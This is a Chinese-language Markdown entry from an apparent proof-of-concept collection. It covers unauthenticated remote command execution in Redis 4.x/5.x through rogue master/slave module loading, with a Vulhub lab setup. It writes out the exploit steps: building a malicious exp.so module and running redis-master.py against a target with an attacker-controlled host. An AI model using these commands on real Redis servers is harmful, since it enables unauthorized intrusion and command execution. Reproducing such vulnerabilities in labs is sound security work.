Awesome-POC/数据库漏洞/Redis 4.x5.x 未授权访问漏洞.md
2024-11-06 14:10:36 +08:00

35 lines
903 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Redis 4.x/5.x 未授权访问漏洞
## 漏洞描述
Redis未授权访问在4.x/5.0.5以前版本下我们可以使用master/slave模式加载远程模块通过动态链接库的方式执行任意命令。
参考链接:
- https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
## 环境搭建
Vulhub执行如下命令启动redis 4.0.14
```
docker-compose up -d
```
环境启动后,通过`redis-cli -h your-ip`即可进行连接,可见存在未授权访问漏洞。
## 漏洞复现
redis未授权访问
![image-20220228201652953](images/202202282016157.png)
使用如下POC即可直接执行命令https://github.com/vulhub/redis-rogue-getshell
```
$ cd RedisModulesSDK/
$ make
$ python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
```
![image-20220228202202438](images/202202282022614.png)